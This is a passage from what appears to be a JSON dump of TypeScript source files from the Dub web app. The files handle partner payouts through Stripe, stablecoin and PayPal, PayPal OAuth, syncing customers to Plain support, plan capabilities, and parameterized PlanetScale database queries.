    "content": "import { prisma } from \"@dub/prisma\";\nimport { Payout } from \"@dub/prisma/client\";\n\nexport const markPayoutsAsProcessed = async (payouts: Pick<Payout, \"id\">[]) => {\n  if (payouts.length === 0) {\n    return;\n  }\n\n  await prisma.payout.updateMany({\n    where: {\n      id: {\n        in: payouts.map((p) => p.id),\n      },\n    },\n    data: {\n      status: \"processed\",\n      paidAt: new Date(),\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/payouts/recompute-partner-payout-state.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport { getStripeRecipientAccount } from \"@/lib/stripe/get-stripe-recipient-account\";\nimport { Partner, PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { prettyPrint } from \"@dub/utils\";\nimport { getStripeRecipientPayoutMethod } from \"../stripe/get-stripe-recipient-payout-method\";\n\nconst PAYOUT_METHOD_PRIORITY: PartnerPayoutMethod[] = [\n  PartnerPayoutMethod.stablecoin,\n  PartnerPayoutMethod.connect,\n  PartnerPayoutMethod.paypal,\n];\n\n/**\n * Computes payoutsEnabledAt and defaultPayoutMethod based on currently active\n * payout methods. The default is always selected from priority order:\n * stablecoin > connect > paypal.\n */\nexport async function recomputePartnerPayoutState(\n  partner: Pick<\n    Partner,\n    | \"stripeConnectId\"\n    | \"stripeRecipientId\"\n    | \"paypalEmail\"\n    | \"payoutsEnabledAt\"\n    | \"defaultPayoutMethod\"\n  >,\n) {\n  const [connectAccount, stablecoinAccount] = await Promise.all([\n    partner.stripeConnectId\n      ? stripe.accounts.retrieve(partner.stripeConnectId)\n      : Promise.resolve(null),\n\n    partner.stripeRecipientId\n      ? getStripeRecipientAccount(partner.stripeRecipientId)\n      : Promise.resolve(null),\n  ]);\n\n  const hasCryptoWalletCapabilities = Boolean(\n    stablecoinAccount?.configuration?.recipient?.capabilities?.crypto_wallets\n      ?.status === \"active\",\n  );\n\n  const stablecoinPayoutMethod =\n    partner.stripeRecipientId && hasCryptoWalletCapabilities\n      ? await getStripeRecipientPayoutMethod(partner.stripeRecipientId)\n      : null;\n\n  const cryptoWalletAddress =\n    stablecoinPayoutMethod?.crypto_wallet?.address ?? null;\n  const cryptoWalletNetwork =\n    stablecoinPayoutMethod?.crypto_wallet?.network ?? null;\n\n  const connectActive = Boolean(\n    connectAccount?.payouts_enabled === true &&\n      connectAccount?.capabilities?.transfers === \"active\",\n  );\n\n  const stablecoinActive = Boolean(\n    hasCryptoWalletCapabilities && cryptoWalletAddress && cryptoWalletNetwork,\n  );\n\n  const paypalActive = Boolean(partner.paypalEmail);\n\n  const activePayoutMethods = PAYOUT_METHOD_PRIORITY.filter((method) => {\n    switch (method) {\n      case PartnerPayoutMethod.stablecoin:\n        return stablecoinActive;\n      case PartnerPayoutMethod.connect:\n        return connectActive;\n      case PartnerPayoutMethod.paypal:\n        return paypalActive;\n      default:\n        return false;\n    }\n  });\n\n  const defaultPayoutMethod = activePayoutMethods[0] ?? null;\n  let payoutsEnabledAt: Date | null = null;\n\n  if (defaultPayoutMethod) {\n    payoutsEnabledAt = partner.payoutsEnabledAt ?? new Date();\n  } else {\n    payoutsEnabledAt = null;\n  }\n\n  console.log(\n    \"[recomputePartnerPayoutState]\",\n    prettyPrint({\n      connectActive,\n      stablecoinActive,\n      paypalActive,\n      payoutsEnabledAt,\n      defaultPayoutMethod,\n    }),\n  );\n\n  const maskedCryptoWalletAddress = cryptoWalletAddress\n    ? cryptoWalletAddress.length > 10\n      ? `${cryptoWalletAddress.slice(0, 6)}••••${cryptoWalletAddress.slice(-4)}`\n      : cryptoWalletAddress\n    : null;\n\n  return {\n    payoutsEnabledAt,\n    defaultPayoutMethod,\n    cryptoWalletAddress,\n    cryptoWalletNetwork,\n    maskedCryptoWalletAddress,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/paypal/create-batch-payout.ts",
    "content": "import { createPaypalToken } from \"@/lib/paypal/create-paypal-token\";\nimport { paypalEnv } from \"@/lib/paypal/env\";\nimport { Partner, Payout, Program } from \"@dub/prisma/client\";\n\ninterface CreatePayPalBatchPayout {\n  payouts: (Pick<Payout, \"id\" | \"amount\"> & {\n    partner: Pick<Partner, \"paypalEmail\">;\n    program: Pick<Program, \"name\">;\n  })[];\n  invoiceId: string;\n}\n\n// Create a batch payout for an array of payouts for a program\nexport async function createPayPalBatchPayout({\n  payouts,\n  invoiceId,\n}: CreatePayPalBatchPayout) {\n  const paypalAccessToken = await createPaypalToken();\n\n  const body = {\n    sender_batch_header: {\n      sender_batch_id: invoiceId,\n    },\n    items: payouts.map((payout) => ({\n      recipient_type: \"EMAIL\",\n      receiver: payout.partner.paypalEmail,\n      sender_item_id: payout.id,\n      note: `Dub Partners payout (${payout.program.name})`,\n      amount: {\n        value: (payout.amount / 100).toString(),\n        currency: \"USD\",\n      },\n    })),\n  };\n\n  const response = await fetch(\n    `${paypalEnv.PAYPAL_API_HOST}/v1/payments/payouts`,\n    {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n        Authorization: `Bearer ${paypalAccessToken}`,\n      },\n      body: JSON.stringify(body),\n    },\n  );\n\n  const data = await response.json();\n\n  if (!response.ok) {\n    console.error(\"[PayPal] Batch payout creation failed\", data);\n    throw new Error(\n      `[PayPal] Batch payout creation failed. Invoice ID: ${invoiceId}. Error: ${JSON.stringify(data)}`,\n    );\n  }\n\n  console.log(\"[PayPal] Batch payout created\", data);\n\n  return data;\n}\n"
  },
  {
    "path": "apps/web/lib/paypal/create-paypal-token.ts",
    "content": "import { paypalEnv } from \"@/lib/paypal/env\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { waitUntil } from \"@vercel/functions\";\n\ninterface PaypalTokenResponse {\n  access_token: string;\n  expires_in: number; // in seconds\n}\n\nconst TOKEN_CACHE_KEY = \"paypal:token\";\n\n/**\n * Creates and caches a PayPal access token for batch payouts authentication.\n * First checks Redis cache for an existing valid token, and if not found,\n * requests a new token from PayPal's OAuth2 endpoint.\n * The token is cached in Redis with a 5-minute buffer before expiration.\n */\nexport async function createPaypalToken() {\n  const cachedToken = await redis.get(TOKEN_CACHE_KEY);\n\n  if (cachedToken) {\n    return cachedToken;\n  }\n\n  const basicAuth = Buffer.from(\n    `${paypalEnv.PAYPAL_CLIENT_ID}:${paypalEnv.PAYPAL_CLIENT_SECRET}`,\n  ).toString(\"base64\");\n\n  const response = await fetch(paypalEnv.PAYPAL_API_HOST + \"/v1/oauth2/token\", {\n    method: \"POST\",\n    headers: {\n      \"Content-Type\": \"application/x-www-form-urlencoded\",\n      Authorization: `Basic ${basicAuth}`,\n    },\n    body: new URLSearchParams({\n      grant_type: \"client_credentials\",\n    }),\n  });\n\n  const data = await response.json();\n\n  if (!response.ok) {\n    console.error(\"[PayPal] Failed to create PayPal token.\", data);\n    throw new Error(\"Failed to create PayPal token.\");\n  }\n\n  const token = data as PaypalTokenResponse;\n\n  waitUntil(\n    redis.set(TOKEN_CACHE_KEY, token.access_token, {\n      ex: token.expires_in - 60 * 5, // 5 min buffer\n    }),\n  );\n\n  return token.access_token;\n}\n"
  },
  {
    "path": "apps/web/lib/paypal/env.ts",
    "content": "const isLive = process.env.NODE_ENV === \"production\";\n\nexport const paypalEnv = {\n  PAYPAL_CLIENT_ID: process.env.PAYPAL_CLIENT_ID || \"\",\n  PAYPAL_CLIENT_SECRET: process.env.PAYPAL_CLIENT_SECRET || \"\",\n  PAYPAL_AUTHORIZE_URL: isLive\n    ? \"https://www.paypal.com/signin/authorize\"\n    : \"https://www.sandbox.paypal.com/signin/authorize\",\n  PAYPAL_API_HOST: isLive\n    ? \"https://api.paypal.com\"\n    : \"https://api-m.sandbox.paypal.com\",\n  PAYPAL_WEBHOOK_ID: process.env.PAYPAL_WEBHOOK_ID || \"\",\n};\n"
  },
  {
    "path": "apps/web/lib/paypal/get-pending-payouts.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { PayoutStatus } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { PartnerSchema } from \"../zod/schemas/partners\";\nimport { ProgramSchema } from \"../zod/schemas/programs\";\n\nconst PaypalPayoutResponseSchema = z.object({\n  program: ProgramSchema.pick({\n    id: true,\n    name: true,\n    logo: true,\n  }),\n  partner: PartnerSchema.pick({\n    id: true,\n    name: true,\n    email: true,\n    image: true,\n    country: true,\n  }),\n  status: z.enum(PayoutStatus),\n  amount: z.number(),\n});\n\nexport type PaypalPayoutResponse = z.infer<typeof PaypalPayoutResponseSchema>;\n\nexport async function getPendingPaypalPayouts({\n  country,\n  programId,\n}: { country?: string; programId?: string } = {}) {\n  const payouts = await prisma.payout.findMany({\n    where: {\n      status: {\n        in: [\"pending\", \"processing\"],\n      },\n      ...(programId && { programId }),\n      partner: {\n        defaultPayoutMethod: \"paypal\",\n        paypalEmail: {\n          not: null,\n        },\n        payoutsEnabledAt: {\n          not: null,\n        },\n        ...(country && { country }),\n      },\n    },\n    orderBy: {\n      amount: \"desc\",\n    },\n    include: {\n      partner: true,\n      program: true,\n    },\n  });\n\n  return z\n    .array(PaypalPayoutResponseSchema)\n    .parse(\n      payouts.filter(\n        (payout) => payout.amount >= payout.program.minPayoutAmount,\n      ),\n    );\n}\n"
  },
  {
    "path": "apps/web/lib/paypal/oauth.ts",
    "content": "import { PARTNERS_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport {\n  OAuthProvider,\n  OAuthProviderConfig,\n} from \"../integrations/oauth-provider\";\nimport { paypalEnv } from \"./env\";\nimport { paypalAuthTokenSchema, paypalUserInfoSchema } from \"./schema\";\n\nclass PayPalOAuthProvider extends OAuthProvider<typeof paypalAuthTokenSchema> {\n  constructor(provider: OAuthProviderConfig<typeof paypalAuthTokenSchema>) {\n    super(provider);\n  }\n\n  async getUserInfo(token: string) {\n    const response = await fetch(\n      `${paypalEnv.PAYPAL_API_HOST}/v1/identity/openidconnect/userinfo?schema=openid`,\n      {\n        headers: {\n          Authorization: `Bearer ${token}`,\n          \"Content-Type\": \"application/x-www-form-urlencoded\",\n        },\n      },\n    );\n\n    const data = await response.json();\n\n    if (!response.ok) {\n      throw new Error(\"Failed to fetch user info from PayPal.\", {\n        cause: data,\n      });\n    }\n\n    return paypalUserInfoSchema.parse(data);\n  }\n}\n\nexport const paypalOAuthProvider = new PayPalOAuthProvider({\n  name: \"PayPal\",\n  clientId: paypalEnv.PAYPAL_CLIENT_ID!,\n  clientSecret: paypalEnv.PAYPAL_CLIENT_SECRET!,\n  authUrl: paypalEnv.PAYPAL_AUTHORIZE_URL,\n  tokenUrl: `${paypalEnv.PAYPAL_API_HOST}/v1/oauth2/token`,\n  redirectUri: `${PARTNERS_DOMAIN_WITH_NGROK}/api/paypal/callback`,\n  redisStatePrefix: \"paypal:oauth:state\",\n  scopes: [\"email\"].join(\" \"),\n  tokenSchema: paypalAuthTokenSchema,\n  bodyFormat: \"form\",\n  authorizationMethod: \"header\",\n});\n"
  },
  {
    "path": "apps/web/lib/paypal/schema.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const paypalAuthTokenSchema = z.object({\n  access_token: z.string(),\n});\n\nexport const paypalUserInfoSchema = z.object({\n  email: z.string(),\n  email_verified: z.boolean(), // Indicates whether the user's paypal email address is verified.\n});\n"
  },
  {
    "path": "apps/web/lib/plain/client.ts",
    "content": "import { PlainClient } from \"@team-plain/typescript-sdk\";\n\nexport const plain = new PlainClient({\n  apiKey: process.env.PLAIN_API_KEY as string,\n});\n\nexport type PlainUser = {\n  id: string;\n  name: string | null;\n  email: string | null;\n};\n"
  },
  {
    "path": "apps/web/lib/plain/create-plain-thread.ts",
    "content": "import { CreateThreadInput } from \"@team-plain/typescript-sdk\";\nimport { plain, PlainUser } from \"./client\";\nimport { upsertPlainCustomer } from \"./upsert-plain-customer\";\n\nexport const createPlainThread = async ({\n  user,\n  ...rest\n}: {\n  user: PlainUser;\n} & Omit<CreateThreadInput, \"customerIdentifier\">) => {\n  if (!user.email) {\n    throw new Error(\"User email is required\");\n  }\n\n  const { data: upsertResult } = await upsertPlainCustomer({\n    id: user.id,\n    name: user.name,\n    email: user.email,\n  });\n\n  if (!upsertResult) {\n    throw new Error(\"Failed to upsert plain customer\");\n  }\n\n  const { data, error } = await plain.createThread({\n    customerIdentifier: {\n      customerId: upsertResult.customer.id,\n    },\n    ...rest,\n  });\n\n  if (error) {\n    throw new Error(`Failed to create thread: ${error.message}`);\n  }\n\n  return data;\n};\n"
  },
  {
    "path": "apps/web/lib/plain/sync-user-plan.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { isGenericEmail } from \"../is-generic-email\";\nimport { plain, PlainUser } from \"./client\";\nimport { upsertPlainCustomer } from \"./upsert-plain-customer\";\n\nexport const syncUserPlanToPlain = async (user: PlainUser) => {\n  if (!user.email) {\n    console.log(`User ${user.id} has no email, skipping sync...`);\n    return;\n  }\n\n  const { data } = await upsertPlainCustomer({\n    id: user.id,\n    name: user.name,\n    email: user.email,\n  });\n\n  if (!data) {\n    console.log(\n      `Failed to upsert plain customer for user ${user.id}, skipping sync...`,\n    );\n    return;\n  }\n  const plainCustomer = data.customer;\n\n  let companyDomainName: string | undefined;\n  if (!isGenericEmail(user.email)) {\n    companyDomainName = user.email.split(\"@\")[1];\n  }\n\n  const topWorkspace = await prisma.project.findFirst({\n    where: {\n      users: {\n        some: companyDomainName\n          ? {\n              user: {\n                email: {\n                  endsWith: `@${companyDomainName}`,\n                },\n              },\n            }\n          : {\n              userId: user.id,\n            },\n      },\n    },\n    orderBy: {\n      usageLimit: \"desc\",\n    },\n  });\n\n  if (!topWorkspace) {\n    console.log(`No workspace found for user ${user.email}, skipping sync...`);\n    return;\n  }\n\n  await Promise.allSettled([\n    plain.addCustomerToCustomerGroups({\n      customerId: plainCustomer.id,\n      customerGroupIdentifiers: [\n        {\n          customerGroupKey: \"app.dub.co\",\n        },\n      ],\n    }),\n    ...(companyDomainName\n      ? [\n          plain.updateCompanyTier({\n            companyIdentifier: {\n              companyDomainName,\n            },\n            tierIdentifier: {\n              externalId: topWorkspace.plan.split(\" \")[0].toLowerCase(),\n            },\n          }),\n        ]\n      : []),\n  ]);\n\n  await plain.addCustomerToCustomerGroups({\n    customerId: plainCustomer.id,\n    customerGroupIdentifiers: [\n      {\n        customerGroupKey: \"app.dub.co\",\n      },\n    ],\n  });\n\n  console.log(`Synced user ${user.id}'s plan in Plain to ${topWorkspace.plan}`);\n\n  return plainCustomer;\n};\n"
  },
  {
    "path": "apps/web/lib/plain/upsert-plain-customer.ts",
    "content": "import { plain, PlainUser } from \"./client\";\n\nexport const upsertPlainCustomer = async (\n  user: PlainUser & { email: string },\n) => {\n  const fullName = user.name || user.email;\n  const shortName = user.name || user.email.split(\"@\")[0];\n\n  return await plain.upsertCustomer({\n    identifier: {\n      emailAddress: user.email,\n    },\n    onCreate: {\n      fullName,\n      shortName,\n      email: {\n        email: user.email,\n        isVerified: true,\n      },\n      externalId: user.id,\n    },\n    onUpdate: {\n      fullName: {\n        value: fullName,\n      },\n      shortName: {\n        value: shortName,\n      },\n      externalId: {\n        value: user.id,\n      },\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/plan-capabilities.ts",
    "content": "import { WorkspaceProps } from \"@/lib/types\";\n\n// Get the capabilities of a workspace based on the plan\nexport const getPlanCapabilities = (\n  plan: WorkspaceProps[\"plan\"] | undefined | string,\n) => {\n  return {\n    canAddFolder: !!plan && ![\"free\"].includes(plan),\n    canManageFolderPermissions: !!plan && ![\"free\", \"pro\"].includes(plan), // default access level is write\n    canManageCustomers: !!plan && ![\"free\", \"pro\"].includes(plan),\n    canCreateWebhooks: !!plan && ![\"free\", \"pro\"].includes(plan),\n    canManageProgram: !!plan && ![\"free\", \"pro\"].includes(plan),\n    canTrackConversions: !!plan && ![\"free\", \"pro\"].includes(plan),\n    canExportAuditLogs: !!plan && [\"enterprise\"].includes(plan),\n    canUseAdvancedRewardLogic:\n      !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n    canMessagePartners: !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n    canSendEmailCampaigns: !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n    canDiscoverPartners: !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n    canManageFraudEvents: !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n    canUseGroupMoveRule: !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n    canUseBountySocialMetrics:\n      !!plan && [\"enterprise\", \"advanced\"].includes(plan),\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/check-if-key-exists.ts",
    "content": "import { punyEncode } from \"@dub/utils\";\nimport {\n  encodeKey,\n  isCaseSensitiveDomain,\n} from \"../api/links/case-sensitivity\";\nimport { conn } from \"./connection\";\n\nexport const checkIfKeyExists = async ({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}) => {\n  const isCaseSensitive = isCaseSensitiveDomain(domain);\n  const keyToQuery = isCaseSensitive\n    ? // for case sensitive domains, we need to encode the key\n      encodeKey(key)\n    : // for non-case sensitive domains, we need to make sure that the key is always URI-decoded + punycode-encoded\n      // (cause that's how we store it in MySQL)\n      punyEncode(decodeURIComponent(key));\n\n  const { rows } =\n    (await conn.execute(\n      \"SELECT 1 FROM Link WHERE domain = ? AND `key` = ? LIMIT 1\",\n      [domain, keyToQuery],\n    )) || {};\n\n  return rows && Array.isArray(rows) && rows.length > 0;\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/check-if-user-exists.ts",
    "content": "import { conn } from \"./connection\";\n\nexport const checkIfUserExists = async (userId: string) => {\n  const { rows } =\n    (await conn.execute(\"SELECT 1 FROM User WHERE id = ? LIMIT 1\", [userId])) ||\n    {};\n\n  return rows && Array.isArray(rows) && rows.length > 0;\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/connection.ts",
    "content": "import { connect } from \"@planetscale/database\";\n\nexport const conn = connect({\n  url: process.env.PLANETSCALE_DATABASE_URL || process.env.DATABASE_URL,\n});\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-domain-via-edge.ts",
    "content": "import { conn } from \"./connection\";\nimport { EdgeDomainProps } from \"./types\";\n\nexport const getDomainViaEdge = async (domain: string) => {\n  const { rows } =\n    (await conn.execute<EdgeDomainProps>(\n      \"SELECT * FROM Domain WHERE slug = ?\",\n      [domain],\n    )) || {};\n\n  return rows && Array.isArray(rows) && rows.length > 0 ? rows[0] : null;\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-link-via-edge.ts",
    "content": "import { punyEncode } from \"@dub/utils\";\nimport {\n  decodeKeyIfCaseSensitive,\n  encodeKey,\n  isCaseSensitiveDomain,\n} from \"../api/links/case-sensitivity\";\nimport { conn } from \"./connection\";\nimport { EdgeLinkProps, EdgeLinkWithWebhooks } from \"./types\";\n\nconst getLinkViaEdgeHelper = async ({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}): Promise<EdgeLinkWithWebhooks | null> => {\n  const isCaseSensitive = isCaseSensitiveDomain(domain);\n  const keyToQuery = isCaseSensitive\n    ? // for case sensitive domains, we need to encode the key\n      encodeKey(key)\n    : // for non-case sensitive domains, we need to make sure that the key is always URI-decoded + punycode-encoded\n      // (cause that's how we store it in MySQL)\n      punyEncode(decodeURIComponent(key));\n\n  const { rows } =\n    (await conn.execute(\n      `SELECT Link.*, LinkWebhook.webhookId\n       FROM Link\n       LEFT JOIN LinkWebhook ON Link.id = LinkWebhook.linkId\n       WHERE Link.domain = ? AND Link.\\`key\\` = ?`,\n      [domain, keyToQuery],\n    )) || {};\n\n  if (!rows || !Array.isArray(rows) || rows.length === 0) return null;\n\n  const first = rows[0] as EdgeLinkProps & { webhookId: string | null };\n  const { webhookId: _w, ...link } = first;\n  const webhooks = (rows as (EdgeLinkProps & { webhookId: string | null })[])\n    .map((r) => r.webhookId)\n    .filter((id): id is string => id != null)\n    .map((webhookId) => ({ webhookId }));\n\n  return {\n    ...link,\n    key: decodeKeyIfCaseSensitive({ domain, key }),\n    webhooks,\n  };\n};\n\nconst inFlightLinkLookups = new Map<\n  string,\n  Promise<Awaited<ReturnType<typeof getLinkViaEdgeHelper>>>\n>();\n\nexport const getLinkViaEdge = async ({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}): Promise<Awaited<ReturnType<typeof getLinkViaEdgeHelper>>> => {\n  const lookupKey = `${domain}:${key}`;\n  const existingLookup = inFlightLinkLookups.get(lookupKey);\n\n  if (existingLookup) {\n    console.log(`[getLinkViaEdge] ${lookupKey} - Existing lookup found`);\n    return await existingLookup;\n  }\n\n  const lookupPromise = getLinkViaEdgeHelper({ domain, key }).finally(() => {\n    inFlightLinkLookups.delete(lookupKey);\n  });\n\n  inFlightLinkLookups.set(lookupKey, lookupPromise);\n\n  return await lookupPromise;\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-link-with-partner.ts",
    "content": "import { punyEncode } from \"@dub/utils\";\nimport {\n  decodeKeyIfCaseSensitive,\n  encodeKey,\n  isCaseSensitiveDomain,\n} from \"../api/links/case-sensitivity\";\nimport { conn } from \"./connection\";\nimport { EdgeLinkProps } from \"./types\";\n\ninterface QueryResult extends EdgeLinkProps {\n  partner?: {\n    id: string;\n    name: string;\n    image: string | null;\n  } | null;\n  discount?: {\n    id: string;\n    amount: number;\n    type: \"percentage\" | \"flat\";\n    maxDuration: number | null;\n  } | null;\n}\n\nexport const getLinkWithPartner = async ({\n  domain,\n  key,\n}: {\n  domain: string;\n  key: string;\n}): Promise<QueryResult | null> => {\n  const keyToQuery = isCaseSensitiveDomain(domain)\n    ? encodeKey(key)\n    : punyEncode(decodeURIComponent(key));\n\n  console.time(\"getLinkWithPartner\");\n\n  const { rows } =\n    (await conn.execute(\n      `SELECT \n        Link.*,\n        Partner.id as partnerId,\n        Partner.name as partnerName,\n        Partner.image as partnerImage,\n        ProgramEnrollment.groupId as groupId,\n        ProgramEnrollment.tenantId as tenantId,\n        PartnerDiscount.id as discountId,\n        PartnerDiscount.amount as discountAmount,\n        PartnerDiscount.type as discountType,\n        PartnerDiscount.maxDuration as discountMaxDuration,\n        PartnerDiscount.couponId as discountCouponId,\n        PartnerDiscount.couponTestId as discountCouponTestId\n       FROM Link\n       LEFT JOIN ProgramEnrollment ON ProgramEnrollment.programId = Link.programId AND ProgramEnrollment.partnerId = Link.partnerId\n       LEFT JOIN Partner ON Partner.id = ProgramEnrollment.partnerId\n       LEFT JOIN Discount PartnerDiscount ON ProgramEnrollment.discountId = PartnerDiscount.id\n       LEFT JOIN Program ON Program.id = Link.programId\n       WHERE Link.domain = ? AND Link.key = ?`,\n      [domain, keyToQuery],\n    )) || {};\n\n  console.timeEnd(\"getLinkWithPartner\");\n\n  const link =\n    rows && Array.isArray(rows) && rows.length > 0 ? (rows[0] as any) : null;\n\n  if (!link) {\n    return null;\n  }\n\n  const {\n    partnerId,\n    partnerName,\n    partnerImage,\n    groupId,\n    tenantId,\n    discountId,\n    discountAmount,\n    discountType,\n    discountMaxDuration,\n    discountCouponId,\n    discountCouponTestId,\n    ...rest\n  } = link;\n\n  return {\n    ...rest,\n    partnerId,\n    key: decodeKeyIfCaseSensitive({ domain, key }),\n    partner: partnerId\n      ? {\n          id: partnerId,\n          name: partnerName,\n          image: partnerImage,\n          groupId,\n          tenantId,\n        }\n      : null,\n    discount:\n      discountId && discountAmount\n        ? {\n            id: discountId,\n            amount: discountAmount,\n            type: discountType,\n            maxDuration: discountMaxDuration,\n            couponId: discountCouponId,\n            couponTestId: discountCouponTestId,\n          }\n        : null,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-partner-enrollment-info.ts",
    "content": "import { conn } from \"./connection\";\n\ninterface QueryResult {\n  id: string;\n  name: string;\n  image: string | null;\n  discountId: string;\n  amount: number;\n  type: \"percentage\" | \"flat\";\n  maxDuration: number | null;\n  couponId: string | null;\n  couponTestId: string | null;\n  groupId: string | null;\n  tenantId: string | null;\n}\n\n// Get enrollment info for a partner in a program\nexport const getPartnerEnrollmentInfo = async ({\n  partnerId,\n  programId,\n}: {\n  partnerId: string | null;\n  programId: string | null;\n}) => {\n  if (!partnerId || !programId) {\n    return {\n      partner: null,\n      discount: null,\n    };\n  }\n\n  const { rows } = await conn.execute<QueryResult>(\n    `SELECT \n      Partner.id,\n      Partner.name,\n      Partner.image,\n      Discount.id as discountId,\n      Discount.amount,\n      Discount.type,\n      Discount.maxDuration,\n      Discount.couponId,\n      Discount.couponTestId,\n      ProgramEnrollment.groupId,\n      ProgramEnrollment.tenantId\n    FROM ProgramEnrollment\n    LEFT JOIN Partner ON Partner.id = ProgramEnrollment.partnerId\n    LEFT JOIN Discount ON Discount.id = ProgramEnrollment.discountId\n    WHERE ProgramEnrollment.partnerId = ? AND ProgramEnrollment.programId = ? LIMIT 1`,\n    [partnerId, programId],\n  );\n\n  const result =\n    rows && Array.isArray(rows) && rows.length > 0 ? rows[0] : null;\n\n  if (!result) {\n    return {\n      partner: null,\n      discount: null,\n    };\n  }\n\n  return {\n    partner: {\n      id: result.id,\n      name: result.name,\n      image: result.image,\n      groupId: result.groupId,\n      tenantId: result.tenantId,\n    },\n    discount: result.discountId\n      ? {\n          id: result.discountId,\n          amount: result.amount,\n          type: result.type,\n          maxDuration: result.maxDuration,\n          couponId: result.couponId,\n          couponTestId: result.couponTestId,\n        }\n      : null,\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-random-key.ts",
    "content": "import { nanoid } from \"@dub/utils\";\nimport { checkIfKeyExists } from \"./check-if-key-exists\";\n\nexport async function getRandomKey({\n  domain,\n  length = 7,\n  prefix,\n}: {\n  domain: string;\n  length?: number;\n  prefix?: string;\n}): Promise<string> {\n  /* recursively get random key till it gets one that's available */\n  let key = nanoid(length);\n  if (prefix) {\n    key = `${prefix.replace(/^\\/|\\/$/g, \"\")}/${key}`;\n  }\n\n  const exists = await checkIfKeyExists({ domain, key });\n\n  if (exists) {\n    // by the off chance that key already exists\n    return getRandomKey({ domain, length, prefix });\n  } else {\n    return key;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-shortlink-via-edge.ts",
    "content": "import { conn } from \"./connection\";\nimport { EdgeLinkProps } from \"./types\";\n\nexport const getShortLinkViaEdge = async (shortLink: string) => {\n  const { rows } =\n    (await conn.execute(\"SELECT * FROM Link WHERE shortLink = ?\", [\n      shortLink,\n    ])) || {};\n\n  return rows && Array.isArray(rows) && rows.length > 0\n    ? (rows[0] as EdgeLinkProps)\n    : null;\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/get-workspace-via-edge.ts",
    "content": "import { normalizeWorkspaceId } from \"../api/workspaces/workspace-id\";\nimport { WorkspaceProps } from \"../types\";\nimport { conn } from \"./connection\";\n\nexport const getWorkspaceViaEdge = async ({\n  workspaceId,\n  includeDomains = false,\n}: {\n  workspaceId: string;\n  includeDomains?: boolean;\n}) => {\n  const query = includeDomains\n    ? `\n      SELECT \n        w.*,\n        d.slug\n      FROM Project w\n      LEFT JOIN Domain d ON w.id = d.projectId\n      WHERE w.id = ?\n      LIMIT 100\n    `\n    : `\n      SELECT \n        w.* \n      FROM Project w \n      WHERE w.id = ? \n      LIMIT 1\n    `;\n\n  const { rows } =\n    (await conn.execute(query, [normalizeWorkspaceId(workspaceId)])) || {};\n\n  if (!rows || !Array.isArray(rows) || rows.length === 0) {\n    return null;\n  }\n\n  if (!includeDomains) {\n    return rows[0] as WorkspaceProps;\n  }\n\n  const firstRow = rows[0] as any;\n  const workspaceData = { ...firstRow };\n  const domains: { slug: string }[] = [];\n\n  // Process all rows to collect domains\n  rows.forEach((row: any) => {\n    if (row.slug) {\n      domains.push({\n        slug: row.slug,\n      });\n    }\n  });\n\n  // Remove domain fields from workspace object\n  const { slug, ...cleanWorkspaceData } = workspaceData;\n\n  return {\n    ...cleanWorkspaceData,\n    domains,\n  } as WorkspaceProps & { domains: { slug: string }[] };\n};\n"
  },
  {
    "path": "apps/web/lib/planetscale/granularity.ts",
    "content": "import {\n  addDays,\n  addHours,\n  addMinutes,\n  addMonths,\n  startOfDay,\n  startOfHour,\n  startOfMinute,\n  startOfMonth,\n} from \"date-fns\";\n\nexport const sqlGranularityMap: Record<\n  string,\n  {\n    dateFormat: string;\n    dateIncrement: (dt: Date) => Date;\n    startFunction: (dt: Date) => Date;\n    formatString: string;\n  }\n> = {\n  month: {\n    dateFormat: \"%Y-%m\",\n    dateIncrement: (dt) => addMonths(dt, 1),\n    startFunction: (dt) => startOfMonth(dt),\n    formatString: \"yyyy-MM\",\n  },\n  day: {\n    dateFormat: \"%Y-%m-%d\",\n    dateIncrement: (dt) => addDays(dt, 1),\n    startFunction: (dt) => startOfDay(dt),\n    formatString: \"yyyy-MM-dd\",\n  },\n  hour: {\n    dateFormat: \"%Y-%m-%d %H:00\",\n    dateIncrement: (dt) => addHours(dt, 1),\n    startFunction: (dt) => startOfHour(dt),\n    formatString: \"yyyy-MM-dd HH:00\",\n  },\n  minute: {\n    dateFormat: \"%Y-%m-%d %H:%i\",\n    dateIncrement: (dt) => addMinutes(dt, 1),\n    startFunction: (dt) => startOfMinute(dt),\n    formatString: \"yyyy-MM-dd HH:mm\",\n  },\n} as const;\n"
  },
  {
    "path": "apps/web/lib/planetscale/index.ts",
    "content": "export * from \"./check-if-key-exists\";\nexport * from \"./check-if-user-exists\";\nexport * from \"./connection\";\nexport * from \"./get-link-via-edge\";\nexport * from \"./get-random-key\";\nexport * from \"./get-shortlink-via-edge\";\nexport * from \"./get-workspace-via-edge\";\nexport * from \"./types\";\n"
  },
  {
    "path": "apps/web/lib/planetscale/types.ts",
